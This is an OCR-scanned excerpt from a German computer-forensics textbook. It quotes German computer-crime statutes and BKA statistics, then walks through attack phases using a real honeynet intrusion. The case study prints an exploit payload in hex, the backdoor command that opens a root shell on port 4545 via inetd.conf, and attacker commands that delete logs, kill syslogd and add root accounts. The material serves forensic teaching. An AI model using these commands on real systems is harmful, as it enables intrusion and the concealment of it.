»Varianten« auf: Zum einen sind Computer das Ziel der strafbaren
Handlung, zum anderen dienen Computer als Werkzeug fiir weitere
Handlungen, z.B. Wirtschaftsstraftaten oder organisierte Kriminalitat.
Dem folgend lisst sich, wie bereits bei der PKS erwihnt, das Themen-
gebiet der Computerkriminalitdt in TuK-Kriminalitit im engeren Sinne
und im weiteren Sinne aufteilen. Der IuK-Kriminalitit im engeren
Sinne lassen sich folgende Delikte zuordnen:

Delikte der luK-Kriminalitit im engeren Sinne —
Auszug aus dem Strafgesetzbuch (StGB)

§202a: Ausspiahen von Daten

(1) Wer unbefugt sich oder einem anderen Zugang zu Daten, die nicht fur ihn
bestimmt und die gegen unberechtigten Zugang besonders gesichert sind, unter
Uberwindung der Zugangssicherung verschafft, wird mit Freiheitsstrafe bis zu
drei Jahren oder mit Geldstrafe bestraft.

(2) Daten im Sinne des Absatzes 1 sind nur solche, die elektronisch, magnetisch
oder sonst nicht unmittelbar wahrnehmbar gespeichert sind oder ubermittelt
werden.

luK-Kriminalitét im

engeren Sinne

Tab. 1-1
Delikte der
luK-Kriminalitdt im

engeren Sinne
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Bedrohungssituation

Delikte der luK-Kriminalitidt im engeren Sinne —
Auszug aus dem Strafgesetzbuch (StGB)

§202b: Abfangen von Daten
(gultig seit 11.08.2007)

Wer unbefugt sich oder einem anderen unter Anwendung von technischen Mitteln
nicht fir ihn bestimmte Daten (§ 202a Abs. 2) aus einer nichtéffentlichen Datentiber-
mittlung oder aus der elektromagnetischen Abstrahlung einer Datenverarbeitungs-
anlage verschafft, wird mit Freiheitsstrafe bis zu zwei Jahren oder mit Geldstrafe be-
straft, wenn die Tat nicht in anderen Vorschriften mit schwererer Strafe bedroht ist.

§202c: Vorbereiten des Ausspahens und Abfangens von Daten

(gultig seit 11.08.2007)

(1) Wer eine Straftat nach § 202a oder § 202b vorbereitet, indem er

1. Passworter oder sonstige Sicherungscodes, die den Zugang zu Daten (§ 202a
Abs. 2) ermdglichen, oder

2.  Computerprogramme, deren Zweck die Begehung einer solchen Tat ist, her-
stellt, sich oder einem anderen verschafft, verkauft, einem anderen Uberlasst,
verbreitet oder sonst zuganglich macht, wird mit Freiheitsstrafe bis zu einem
Jahr oder mit Geldstrafe bestraft.

(2) § 149 Abs. 2 und 3 gilt entsprechend.

§263a: Computerbetrug

(1) Wer in der Absicht, sich oder einem Dritten einen rechtswidrigen Vermdgensvor-
teil zu verschaffen, das Vermégen eines anderen dadurch beschadigt, daB3 er
das Ergebnis eines Datenverarbeitungsvorgangs durch unrichtige Gestaltung
des Programms, durch Verwendung unrichtiger oder unvollstandiger Daten,
durch unbefugte Verwendung von Daten oder sonst durch unbefugte Einwirkung
auf den Ablauf beeinfluBt, wird mit Freiheitsstrafe bis zu finf Jahren oder mit
Geldstrafe bestraft.

(2) § 263 Abs. 2 bis 7 gilt entsprechend.

(3) Wer eine Straftat nach Absatz 1 vorbereitet, indem er Computerprogramme,
deren Zweck die Begehung einer solchen Tat ist, herstellt, sich oder einem ande-
ren verschafft, feilhalt, verwahrt oder einem anderen uberlésst, wird mit Frei-
heitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft.

(4) In den Fallen des Absatzes 3 gilt § 149 Abs. 2 und 3 entsprechend.

§269 Falschung beweiserheblicher Daten

(1) Wer zur Tauschung im Rechtsverkehr beweiserhebliche Daten so speichert oder
verandert, daf3 bei ihrer Wahrnehmung eine unechte oder verféalschte Urkunde
vorliegen wurde, oder derart gespeicherte oder veréanderte Daten gebraucht,
wird mit Freiheitsstrafe bis zu finf Jahren oder mit Geldstrafe bestraft.

(2) Der Versuch ist strafbar.

(3) § 267 Abs. 3 und 4 gilt entsprechend.

§270 Tauschung im Rechtsverkehr bei Datenverarbeitung

Der Tauschung im Rechtsverkehr steht die falschliche Beeinflussung einer Daten-
verarbeitung im Rechtsverkehr gleich.
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Delikte der luK-Kriminalitidt im engeren Sinne —
Auszug aus dem Strafgesetzbuch (StGB)

§271 Mittelbare Falschbeurkundung

(1) Wer bewirkt, daB3 Erklarungen, Verhandlungen oder Tatsachen, welche fur
Rechte oder Rechtsverhaltnisse von Erheblichkeit sind, in 6ffentlichen Urkun-
den, Buchern, Dateien oder Registern als abgegeben oder geschehen beurkun-
det oder gespeichert werden, wéahrend sie Uiberhaupt nicht oder in anderer
Weise oder von einer Person in einer ihr nicht zustehenden Eigenschaft oder von
einer anderen Person abgegeben oder geschehen sind, wird mit Freiheitsstrafe
bis zu drei Jahren oder mit Geldstrafe bestraft.

(2) Ebenso wird bestraft, wer eine falsche Beurkundung oder Datenspeicherung der
in Absatz 1 bezeichneten Art zur Tduschung im Rechtsverkehr gebraucht.

(3) Handelt der Tater gegen Entgelt oder in der Absicht, sich oder einen Dritten zu
bereichern oder eine andere Person zu schadigen, so ist die Strafe Freiheits-
strafe von drei Monaten bis zu finf Jahren.

(4) Der Versuch ist strafbar.

§274 Urkundenunterdriickung, Veranderung einer Grenzbezeichnung

(1) Mit Freiheitsstrafe bis zu flinf Jahren oder mit Geldstrafe wird bestraft, wer

1. eine Urkunde oder eine technische Aufzeichnung, welche ihm entweder uber-
haupt nicht oder nicht ausschlieBlich gehort, in der Absicht, einem anderen
Nachteil zuzufiigen, vernichtet, beschédigt oder unterdriickt,

2. beweiserhebliche Daten (§ 202a Abs. 2), Uber die er nicht oder nicht aus-
schlieBlich verfigen darf, in der Absicht, einem anderen Nachteil zuzuftigen,
l6scht, unterdriickt, unbrauchbar macht oder veréndert oder

3. einen Grenzstein oder ein anderes zur Bezeichnung einer Grenze oder eines
Wasserstandes bestimmtes Merkmal in der Absicht, einem anderen Nachteil
zuzufligen, wegnimmt, vernichtet, unkenntlich macht, verrickt oder félschlich
setzt.

(2) Der Versuch ist strafbar.

§348 Falschbeurkundung im Amt

(1) Ein Amtstréager, der, zur Aufnahme 6ffentlicher Urkunden befugt, innerhalb
seiner Zustandigkeit eine rechtlich erhebliche Tatsache falsch beurkundet oder
in 6ffentliche Register, Biicher oder Dateien falsch eintragt oder eingibt, wird mit
Freiheitsstrafe bis zu funf Jahren oder mit Geldstrafe bestraft.

(2) Der Versuch ist strafbar.

§303a Datenveranderung

(1) Wer rechtswidrig Daten (§ 202a Abs. 2) I6scht, unterdriickt, unbrauchbar macht
oder verandert, wird mit Freiheitsstrafe bis zu zwei Jahren oder mit Geldstrafe
bestraft.

(2) Der Versuch ist strafbar.
(3) Fur die Vorbereitung einer Straftat nach Absatz 1 gilt § 202c entsprechend.
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Computerkriminalitdt

Delikte der luK-Kriminalitat im engeren Sinne —
Auszug aus dem Strafgesetzbuch (StGB)

§303b Computersabotage

(1) Wer eine Datenverarbeitung, die fir einen anderen von wesentlicher Bedeutung
ist, dadurch erheblich stért, dass er

1. eine Tat nach § 303a Abs. 1 begeht,

2. Daten (§ 202a Abs. 2) in der Absicht, einem anderen Nachteil zuzufiigen, ein-
gibt oder Ubermittelt oder

3. eine Datenverarbeitungsanlage oder einen Datentrager zerstért, beschéadigt,
unbrauchbar macht, beseitigt oder verandert, wird mit Freiheitsstrafe bis zu
drei Jahren oder mit Geldstrafe bestraft.

(2) Handelt es sich um eine Datenverarbeitung, die fir einen fremden Betrieb, ein
fremdes Unternehmen oder eine Behdrde von wesentlicher Bedeutung ist, ist die
Strafe Freiheitsstrafe bis zu finf Jahren oder Geldstrafe.

(8) Der Versuch ist strafbar.

(4) In besonders schweren Fallen des Absatzes 2 ist die Strafe Freiheitsstrafe von
sechs Monaten bis zu zehn Jahren. Ein besonders schwerer Fall liegt in der
Regel vor, wenn der Tater

1. einen Vermdgensverlust groBBen AusmaBes herbeifihrt,

2. gewerbsmaBig oder als Mitglied einer Bande handelt, die sich zur fortgesetzten
Begehung von Computersabotage verbunden hat,

3. durch die Tat die Versorgung der Bevolkerung mit lebenswichtigen Glitern oder
Dienstleistungen oder die Sicherheit der Bundesrepublik Deutschland beein-
trachtigt.

(5) Fur die Vorbereitung einer Straftat nach Absatz 1 gilt § 202c entsprechend.

§303c Strafantrag

In den Fallen der §§ 303, 303a Abs. 1 und 2 sowie § 303b Abs. 1 bis 3 wird die Tat
nur auf Antrag verfolgt, es sei denn, daf3 die Strafverfolgungsbehérde wegen des
besonderen 6ffentlichen Interesses an der Strafverfolgung ein Einschreiten von
Amts wegen fiir geboten halt.

Zum erweiterten Bereich der Computerkriminalitat zihlen alle Straf-
taten, die mit Hilfe oder Unterstiitzung von informationsverarbeiten-
den Systemen vorgenommen werden (z.B. Erpressung, Beleidigung,
Verbreitung von kinderpornografischen oder verfassungsfeindlichen
Inhalten, Geheimnisverrat, Betrug, Bilanzfilschung, Urheberrechtsver-
letzung, um hier nur einige zu nennen). Eine Straftat bleibt auch immer
eine Straftat, wenn sie durch einen Netz- bzw. Systemeinbruch ermog-
licht wurde oder Computer und Datennetze bei der Tatbegehung ver-
wendet werden. Diese »Erweiterung« des computerkriminalistischen
Ermittlungsbereichs soll verdeutlichen, dass die in diesem Buch
beschriebenen Werkzeuge und Methoden der Computer-Forensik
nicht ausschliefSlich nur nach einem Angriff auf Rechner und Daten
durch einen Hacker zum Einsatz kommen. Vielmehr konnen diese Ver-
fahren auch bei der Analyse von Datentragern jeglicher Art bzw. ande-
ren Datenverstecken erfolgreich verwendet werden.
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Das BKA stellt in seinem Bundeslagebild Wirtschaftskriminalitit!®
fiir das Jahr 2009 fest, dass trotz deutlich gestiegener Gesamtfallzahlen
der registrierte Gesamtschaden nahezu gleich geblieben ist. In rund
90% der insgesamt 101.340 Falle von Wirtschaftskriminalitidt wurde
eine Schadenssumme erfasst. Die daraus resultierende Gesamtscha-
denssumme liegt mit rund 3,43 Milliarden Euro auf dem gleichen
Niveau wie im Jahr 2008. Die in der PKS erfassten Schadenssummen
konnen den durch die Wirtschaftskriminalitit tatsachlich verursachten
Gesamtschaden jedoch nur teilweise abbilden. Neben den entstande-
nen finanziellen Schiden miissen auch die durch das kriminelle Han-
deln verursachten immateriellen Schaden betrachtet werden. Da diese
Schiden statistisch kaum zu beziffern sind und diesbezugliche Schat-
zungen stark voneinander abweichen, ist eine belastbare Aussage
hierzu nicht moglich. Die Wirtschaftskriminalitit verlagert sich seit
Jahren zunehmend ins Internet. Mittlerweile wird jedes zehnte Delikt
im Internet veribt.

In der PKS 2004 wurde erstmals begonnen, das »Tatmittel Inter-
net« gesondert zu erfassen und auszuwerten. Erhebungen zum Tatmit-
tel Internet erfolgen seit 2010 erstmals in allen Bundeslindern. Insge-
samt wurden in der PKS 2010 246.607 Fille registriert, die tiber das
Internet begangen wurden. Nach statistischer Bereinigung ist ein
Anstieg von 8,1 % zu verzeichnen. Noch nie habe es laut BKA so viele
Straftaten im Internet gegeben wie 2010. Erneut sind im Zusammen-
hang mit dem Tatmittel Internet tiberwiegend Betrugsdelikte (81,6 %
bei 182.562 Fallen, 2009: 82,0 % bei 169.743 Fallen), hierunter — mit
erneut rickliufigem Anteil — Warenbetrug (29,4 %, 2009: 37,6 %),
registriert worden. Der Anteil des Computerbetrugs ist 2010 im Ver-
gleich zu 2009 um 8,0 % bei 17.882 Fillen (2009: 6,3 % bei 12.939
Fillen) angestiegen. Die Verbreitung pornografischer Schriften tiber
das Internet ist anteilsmafSig von 2,9 % bei 6.092 Fillen auf 2,1 % bei
4.655 Fillen zurickgegangen. Auffillig ist mit 4,2 % bei 9.285 Fillen
der ansteigende Anteil beim Ausspihen, Abfangen von Daten ein-
schliefSlich Vorbereitungshandlungen (2009: 3,3 % bei 6.751 Fillen).

16. BKA, Bundeslagebild Wirtschaftskriminalitdt 2009,
http:/fwww.bka.dellageberichte/wilwikri_2009.pdf
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2 Ablauf von Angriffen

Es liegt auf der Hand: Wenn man einen Systemeinbruch aufkldren
muss, sollte man auch tiber genaue Kenntnisse der moglichen Angriffs-
szenarien und der zugrunde liegenden Techniken verfiigen. Das
erleichtert sowohl die Analyse des moglichen Angriffsablaufs als auch
die Bewertung der Spuren, die der Angreifer hinterlasst.

In diesem Kapitel lernen Sie zunichst die typischen Phasen eines
Systemeinbruchs kennen. Diese werden anschlieffend an einem Bei-
spielangriff detailliert vorgefiihrt.

2.1 Typischer Angriffsverlauf

Angriffe auf Computersysteme lassen sich in mehrere Phasen einteilen.
Diese Phasen eines Angriffs dhneln sich mehr oder weniger stark. Sie
kommen allerdings in unterschiedlicher Auspriagung zum Vorschein.
Das Wissen iiber diese Phasen erméglicht es einem Ermittler oder
Administrator auch zu erkennen, mit welchen Folgeangriffen zu rech-
nen ist oder welche Wirkung ein Angreifer mit einer bestimmten
Angriffssituation erzielen mochte. Dies kann durchaus Ruckschliisse
auf das zu erwartende weitere Vorgehen liefern. Zusitzlich ist die
Kenntnis von Angriffsablaufen sehr wichtig, um entsprechende Tat-
spuren zu finden.

2.1.1  Footprinting

Als Footprinting wird jene Aktivitit bezeichnet, die eigentlich eine
Vorstufe zum eigentlichen Angriff darstellt. Hierbei legt der Angreifer
seinen Zielbereich grob fest. Entweder ist dies ein vorher gewihlter IP-
Adressbereich oder die uber das Internet erreichbare IT-Struktur einer
ganz bestimmten Organisation. Ein Angriffsziel findet sich manchmal
fast zufallig, wenn z.B. grofSere IP-Ranges im Internet auf Verdacht
gescannt werden. Der Angreifer mochte in dieser Phase die besonders

Zielbereich festlegen
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Ergebnis: interessante
IP-Adressen

Ergebnis:
offene Ports

Anwendungsprogramme,
Betriebssysteme

interessanten oder moglicherweise besonders ungesicherten Systeme
grob identifizieren. Auch wenn ein Teil dieser Recherchen im Grund-
rauschen des Internetverkehrs der betroffenen Organisation unterge-
hen wird, sollte man sich dariiber im Klaren sein, dass der Angreifer
anhand dieser Informationen sein weiteres Vorgehen plant. Diese Akti-
vitaten konnen im Einzelnen sein:

Suche im Whois und DNS (Namenskonventionen oder TXT-Eintrige)
Abfrage aller vom DNS-Server zur Verfiigung gestellten IP-Adressen
Erkundung der Netzarchitektur (Wo stehen Router? Welches sind
die Up-stream- bzw. Down-stream-Routen der betroffenen Organi-
sation?)

Verifikation mit Ping bzw. Traceroute (z.B. icmp-Discovery)
Analyse der aktiven Hosts mit Ping-Sweeps tiber den gesamten

IP-Adressbereich

Ergebnis dieser Phase ist eine Liste mit IP-Adressen in einer fiir den
Angreifer interessanten Zielumgebung.

2.1.2  Port- und Protokollscan

Bei einem Port- und Protokollscan ermittelt ein Angreifer, welche der
per Footprinting ermittelten Systeme offene Ports anbieten und welche
Protokolle dabei unterstiitzt werden. Erfahrene Angreifer werden ver-
suchen, im Verborgenen zu operieren. Es kommen — ohne dass hier
niher auf die einzelnen Techniken eingegangen wird — verschiedene
Methoden zum Einsatz, die sich in der Regel durch die verwendeten
Protokolle und Tarnmechanismen unterscheiden.

Das Ergebnis dieser Phase ist eine Liste der interessanten IP-Adres-
sen mit den zugehorigen offenen UDP- bzw. TCP-Ports, den ansprech-
baren ICMP-Typen und weiteren unterstiitzten IP-Protokollen.

2.1.3  Enumeration

In dieser Phase versucht der Angreifer herauszufinden, welche Anwen-
dungsprogramme auf den gefundenen Systemen mit den offenen Ports
laufen. Dies macht er z.B. durch Bannergrabbing. Hierbei versucht der
Angreifer den Server zu kontaktieren und erfihrt dabei fir ihn hilfrei-
che Informationen. Dies konnen z.B. die verwendete Serverversion
oder die Betriebssystemvariante sein. Viele Applikationen sind so kon-
figuriert, dass sie diese Daten bereitwillig an jeden herausgeben. Je
mehr Informationen hier freizligig prasentiert werden, desto grofier ist
die Wahrscheinlichkeit, dass ein Angreifer sich diese zu Nutze macht.
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Eine Organisation oder ein Unternehmen sollte dies im Hinterkopf
haben, bevor Informationen iiber Technik und Architektur im Internet
publiziert werden (Stellenausschreibungen, 6ffentliche Support-Foren,
Selbstdarstellungen, Success Stories durch Dienstleister bzw. Lieferan-
ten etc.). Fur den Angreifer kann hier zum Beispiel von Interesse sein,
ob Unix (wenn ja, welches) oder Windows als Betriebssystem einge-
setzt wird oder welche Datenbank- bzw. WWW-Serversoftware in Ver-
wendung ist.

Zusitzlich ist es fiir den Angreifer von Interesse, welche Versionen
bzw. Patchlevel eingesetzt werden. Daraus kann geschlossen werden,
ob die verwendete Version Sicherheitsliicken aufweist oder ob ein kri-
tischer Sicherheitspatch eingespielt wurde.

Wihrend alle Schritte bisher grundsitzlich als sogenannte straflose
Vorbereitungshandlung gelten, sind die nun folgenden Aktionen
zumindest in Deutschland als strafbare Handlung anzusehen.

2.1.4 Exploiting/Penetration

Da der Angreifer nun ungefihr weifS, welche Version der Anwen-
dungssoftware auf dem Betriebssystem betrieben wird, kann er versu-
chen, diese Anwendungssoftware anzugreifen. Er wird versuchen,
unberechtigten Zugang zu dem System zu bekommen, entweder als
Systemadministrator oder als normaler Anwender, um dann System-
administrator zu werden.

Diese Angriffe werden z.B. durch das Ausnutzen bekannter
Schwachstellen in der Programmierung, Konfiguration oder Imple-
mentierung dieser Anwendungen moglich. Oft vergessen Programmie-
rer, dass eine Anwendung nicht wie vorgesehen verwendet werden
kann oder dass es auch Einsatzbedingungen geben kann, an die bei der
Programmierung nicht gedacht wurde.

2.1.5 Hintertiiren einrichten

Der Angreifer mochte das gehackte System unter Umstinden zu einem
spateren Zeitpunkt wiederbesuchen, um von dort andere Systeme anzu-
greifen oder die in der Zwischenzeit durch einen Sniffer' gesammelten
Daten abzuholen. Da Angreifer damit rechnen mussen, dass die Sicher-
heitsliicke, die sie zum Systemeinbruch genutzt haben, durch einen

1. Software, die in der Lage ist, den gesamten Verkehr eines angeschlossenen Netz-
werksegments zu belauschen und zu protokollieren; spezielle Passwortsniffer sind
darauf konfiguriert, nur Usernamen und Passwort aus dem Datenstrom »heraus-
zufischen«.

Versionen und Patchlevel
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Administrator geschlossen wurde, richten sie sich hiufig einen zusitzli-
chen, geheimen Zugang, eine sogenannte Hintertiir, ein. Dies sind ent-
weder versteckte Serverprozesse oder zusitzliche Administratoren-
accounts. Eine oft anzutreffende Methode ist die Installation von sog.
Rootkits, die es u.a. durch den Austausch von Systemprogrammen
ermoglichen, veranderte Versionen mit Hintertiren auszustatten (wei-
tere Informationen zu Rootkits finden sich in Abschnitt 5.11). Es ist
auch bereits vorgekommen, dass ein Angreifer die Sicherheitsliicke, die
er fiir den Einbruch verwendet hat, selbst wieder schliefSst. Der Hinter-
grund ist sicherlich darin zu vermuten, dass der Angreifer verhindern
mochte, dass sich weitere Storenfriede auf »seinem« System ausbreiten.

2.1.6  Spuren verwischen

Hat sich der Angreifer eingenistet und die Moglichkeit geschaffen,
jederzeit wiederzukommen, wird er seine Spuren verwischen wollen.
Er wird alle Eintrage, die von einem Angriff oder erfolgreichen Ein-
bruch zeugen konnen, aus den Logdateien 16schen.

2.2 Beispiel eines Angriffs

Das folgende reale Beispiel? zeigt recht eindrucksvoll, wie ein solcher
Angriff ablaufen konnte: Nachdem das System auf die klassische, in
Abschnitt 2.1 beschriebene Weise angegriffen wurde, installiert der
Angreifer Hintertiiren, tauscht Systemdateien aus, 1oscht seine Spuren
und kommt wieder, um sein Werk zu vollenden.

Der Angriff wird in funf aufeinanderfolgenden Phasen durchge-
fithrt:

Portscan,

Probe des gefundenen Remote-Procedure-Call-Dienstes (RPC),
Banner-Grabbing und Systemidentifikation auf Telnet-Port,
Angriff auf den fiir den RPC-Dienst benotigten Portmapper,
Installation einer Root-Shell auf Port 4545.

P

Sehen wir uns den Angriff nun im Detail an:

2. Die Daten stammen von hitp://project.honeynet.org.
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TCP(2), UDP(0)

TCP(2), UDP(0)

Nov 7 23:11:06 victim snort[1260]: RPC Info Query: 216.216.74.2:963 -> 172.16.1.107:111
Nov 7 23:11:31 victim snort[1260]: spp_portscan: portscan status from 216.216.74.2: 2 connections across 1 hosts:

Nov 7 23:11:31 victim snort[1260]: IDS08 - TELNET - daemon-active: 172.16.1.101:23 -> 216.216.74.2:1209
Nov 7 23:11:34 victim snort[1260]: IDSO8 - TELNET - daemon-active: 172.16.1.101:23 -> 216.216.74.2:1210
Nov 7 23:11:47 victim snort[1260]: spp_portscan: portscan status from 216.216.74.2: 2 connections across 2 hosts:

Nov 7 23:11:51 victim snort[1260]: IDS15 - RPC - portmap-request-status: 216.216.74.2:709 -> 172.16.1.107:111
Nov 7 23:11:51 victim snort[1260]: IDS362 - MISC - Shellcode X86 NOPS-UDP: 216.216.74.2:710 -> 172.16.1.107:871

Abb.2-1  Meldungen des Intrusion-Detection-Systems Snort>: Portscan, Kontakt des
Telnet-Port, um das Banner zu analysieren, Kontaktaufnahme des Portmappers, um
festzustellen, ob dieser aktiv ist, und abschlielSender Angriff (in der Abbildung hervorgehoben;
tibertragener Shell-Code wurde erkannt)

Abbildung 2-1 ist zu entnehmen, dass der Angreifer durch einen TCP-
Portscan erkennt, welche Dienste auf dem Zielserver aktiv sind und
Verbindungen entgegennehmen.

Mit einem RPC-Query-Befehl versucht der Angreifer herauszufinden,
ob auf dem geoffneten TCP-Port 111 wirklich ein Portmapper aktiv ist.

Nachdem er sich davon iiberzeugt hat, initiiert der Angreifer eine
Telnet-Verbindung zum Zielserver, um anhand der Bannermeldung des
Telnet-Daemons das verwendete Betriebssystem und eventuell vorhan-
dene Release-Stinde in Erfahrung zu bringen. In diesem konkreten Fall
handelte es sich um ein ilteres Red-Hat-Linux-System, dessen Port-
mapper eine schwere Sicherheitsliicke aufwies. Dies hat der Angreifer
hochstwahrscheinlich iiber eine schnelle Exploit-Recherche heraus-
gefunden, denn kurz darauf wurde dieser Portmapper erfolgreich via
UDP angegriffen.

11/07-23:11:50.870124 216.216.74.2:710 -> 172.16.1.107:871

UDP TTL:42 T0S:0x0 ID:16143

Len: 456

3E D1 BA B6 00 00 00 00 00 00 00 02 00 01 86 B8 >......ceuvuvuunn
00 00 00 01 00 00 00 02 00 00 00 00 00 00 00 00 ....ovveruennnnn

00 00 00 00 00 00 00 00 00 00 01 67 04 F7 FF BF ........... g....
04 F7 FF BF 05 F7 FF BF 05 F7 FF BF 06 F7 FF BF ................
06 F7 FF BF 07 F7 FF BF 07 F7 FF BF 25 30 38 78 ............ %08x

20 25 30 38 78 20 25 30 38 78 20 25 30 38 78 20  %08x %08x %08x

25 30 38 78 20 25 30 38 78 20 25 30 38 78 20 25 %08x %08x %08x %

30 38 78 20 25 30 38 78 20 25 30 38 78 20 25 30 08x %08x %08x %0

38 78 20 38 30 38 78 20 25 30 38 78 20 25 30 38 8x %08x %08x %08

78 20 25 30 32 34 32 78 25 6E 25 30 35 35 78 25 x %0202x%n%055x%

6E 25 30 31 32 78 25 6E 6E 30 31 39 32 78 25 6E n%242x%n%0192x%n

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........cetennnn

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 EB 4B 5E 89 AE AC 83 EE 20 8D 5E 28 83 C6 ...K*.v... .~(.. -

3. bttp:/lwww.snort.org, netzbasiertes IDS

1. Portscan

2. RPC-Probe

3. Systemidentifikation
auf Telnet-Port
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20 89 5E BO 83 EE 20 8D 5E 2E 83 C6 20 83 C3 20 .~... .“o.. ..

83 EB 23 89 5E B4 31 CO 83 EE 20 88 46 27 88 46 ..#.~.1... .F'.F
2A 83 C6 20 88 46 AB 89 46 B8 B0 2B 2C 20 89 F3 *.. .F..F..+, ..
8D 4E AC 8D 56 B8 CD 80 31 DB 89 D8 40 CD 80 E8 .N..V...l1...@...
BO FF FF FF 2F 62 69 6E 2F 73 68 20 2D 63 20 65 ..../bin/sh -c e
63 68 6F 20 34 35 34 35 20 73 74 72 65 61 6D 20 cho 4545 stream

74 63 70 20 6E 6F 77 61 69 74 20 72 6F 6F 74 20 tcp nowait root

2F 62 69 6E 2F 73 68 20 73 68 20 2D 69 20 3E 3E /bin/sh sh -i >>
20 2F 65 74 63 2F 20 6E 65 74 64 2E 63 6F 6E 66 /etc/inetd.conf
3B 6B 69 6C 6C 61 6C 6C 20 2D 48 55 50 20 69 6E ;killall -HUP in
65 74 64 00 00 00 00 09 6C 6F 63 61 6C 68 6F 73 etd..... localhos
74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 t...............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ......evvvenenn.

Abb.2-2  DS-Mitschnitt des Angriffs aus der vorherigen Abbildung auf den Portmapper,
mit Installation einer Hintertiir auf Port 4545

Angriffaufden  Der IDS-Mitschnitt in Abbildung 2-2 zeigt, wie der Angriff auf den
Portmapper ~ Portmapper durchgefithrt wurde und dass mit wenigen Befehlen eine
Hintertiir installiert wurde. Der Exploit fithrte dazu, dass die folgend
ubergebenen Befehle mit Root-Rechten ausgefiihrt wurden:
/bin/sh -c echo 4545 stream tcp nowait root /bin/sh sh -i >>
/etc/inetd.conf ;killall -HUP inetd
5.Installation einer ~ Diese Befehle fiigen an das Ende der Konfigurationsdatei des soge-
Root-Shell  nannten Internet-Superdaemons »inetd« eine Zeile an, die auf dem
TCP-Port 4545 eine passwortlose Root-Shell zur Verfiigung stellt. Da
nach jeder Konfigurationsinderung der inetd neu gestartet werden
muss, startet der Angreifer diesen Dienst abschliefend mit einem Kill-
Signal neu.
Schnelle Befehisfolge Das Absetzen dieser Befehle hat nur den Bruchteil einer Sekunde
deutet auf Angriffsskripte  gedauert. Der gesamte Angriff dauerte nur einige wenige Sekunden.
hin.  Die kurzen Abstinde zwischen den einzelnen Befehlen lassen darauf
schliefSen, dass der Angreifer die Befehle nicht von Hand eingegeben
hat und dass hochstwahrscheinlich ein automatisiertes Angriffsskript
verwendet wurde.
Auf der vorgeschalteten Checkpoint Firewall-1 ist die Kommuni-
kation ebenfalls in der Logdatei zu sehen:

7Nov2000 23:06:46 accept firewall >qfel useralert proto tcp src ATHM-216-216-xxx-2.home.net dst victim7-ext service rpc
s_port 1517 Ten 60 rule 9 xlatesrc ATHM-216-216-xxx-2.home.net xlatedst victim7-int xlatesport 1517 xlatedport rpc

7Nov2000 23:11:04 accept firewall >qfel useralert proto tcp src ATHM-216-216-xxx-2.home.net dst victim7-ext service rpc
s_port 963 Ten 60 rule 9 xlatesrc ATHM-216-216-xxx-2.home.net xlatedst victim7-int xlatesport 963 x1 atedport rpc

7Nov2000 23:11:30 accept firewall >qfel useralert proto tcp src ATHM-216-216-xxx-2.home.net dst victim7-ext service telnet
s_port 1207 Ten 60 rule 9 xlatesrc ATHM-216-216-xxx-2.home.net xlatedst victim7-int xlatesport 1207 xlatedport telnet

Abb.2-3  Firewall-1 Logdatei: akzeptierte Verbindungen des Angriffs. Kontakt der RPC- und
Telnet-Dienste



2.2 Beispiel eines Angriffs

39

Die nun folgenden Aktionen zeigen, wie der Angreifer buchstablich am  Spuren verwischen
nichsten Morgen eine Verbindung zur Hintertiir auf Port 4545 auf-

baut und anfingt, seine Spuren zu verwischen (alle nun folgenden Mit-

schnitte wurden mit Snort erstellt, das eine komplette Protokollierung

der ein- und ausgegebenen Daten durchfihrt):

***% Connect to backdoor on port 4545 from c871553-b.jffsnl.mo.home.com, 8 Nov,
07:30 ***

bash# uptime

8:25am up 2 days, 22:52, 0 users, Tload average: 0.00, 0.00, 0.00

bash# rm -rf /etc/hosts.deny

bash# touch /etc/hosts.deny

bash# rm -rf /var/log/wtmp

bash# touch /var/log/wtmp

bash#

Abb.2-4  Der Angreifer schaut, ob das System rebootet wurde und ob noch andere User
angemeldet sind. Dann I6scht er die Konfigurationsdateien des TCP-Wrapper und die
Logdateien, die den Anmeldestatus zeigen.

Als Nachstes installiert der Angreifer einen zusitzlichen Rootaccount
auf dem System, da eine Anmeldung via Telnet komfortabler ist als die
urspriingliche Root-Shell auf Port 4545 (siehe Abb. 2-5).

bash# killall -9 klogd

bash# killall -9 syslogd

bash# rm -rf /etc/rc.d/init.d/*1og*

bash# echo own:x:0:0::/root:/bin/bash >> /etc/passwd

bash# echo adml:x:5000:5000:Tech Admin:/tmp:/bin/bash >> /etc/passwd

bash# echo own::10865:0:99999:7:-1:-1:134538460 >> /etc/shadow

bash# echo adml:Yi2yCGHoOwOwg:10884:0:99999:7:-1:-1:134538412 >> /etc/shadow
bash# cat /etc/inetd.conf | grep tel

telnetstream tcp nowait root  /usr/sbin/tcpdin.telnetd

bash# exit

Abb. 2-5  Der Angreifer stoppt den Syslog-Server und I6scht die zugehérigen Startskripte.
Dann fiigt er einen zusditzlichen Account »own« mit Root-Rechten und einen normalen User
»adm1«ein. Direkte Root-Anmeldungen via Telnet sind standardmdfSig nicht méglich,
deswegen wird vermutlich der User adm1 fiir die Anmeldung verwendet und dann ein SU auf
den User »own« durchgefiihrt. Als Letztes vergewissert sich der Angreifer, ob der Telnet-Dienst
auch aktiv ist, und meldet sich ab.

Dann meldet sich der Angreifer via Telnet an und versucht nun, von
einem (wahrscheinlich auch ibernommenen) FTP-Server weitere Tools
und Hintertirprogramme herunterzuladen (siche Abb. 2-6 und 2-7).
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*** Telnet in from c871553-b.jffsnl.mo.home.com at 8 Nov, 07:31 ***
I gt Igp ' 38400,38400'VT100

Red Hat Linux release 6.2 (Zoot)

Kernel 2.2.14-5.0 on an i586

Togin: adml

Password: eliteness

bash$ su own

[root@apollo /tmp]# ps aux

USER PID %CPU %MEM  VSZ RSS TTY STAT START  TIME COMMAND

root 1 0.0 0.1 1120 1207 S Nov05 0:06 init

[Ausgabe geléscht]

root 2387 0.0 1.1 1464 756 ? S 08:28 0:00 in.telnetd: c8715
root 2388 0.3 2.1 2308 1344 pts/0 S 08:28 0:00 Togin -- adml
adml 2389 0.1 1.4 1692 932 pts/0 S 08:28 0:00 -bash

root 2404 0.6 1.4 2156 932 pts/0 S 08:29 0:00 su own

root 2405 0.3 1.4 1700 936 pts/0 S 08:29 0:00 bash

root 2415 0.0 1.2 2500 816 pts/0 R 08:29 0:00 ps aux

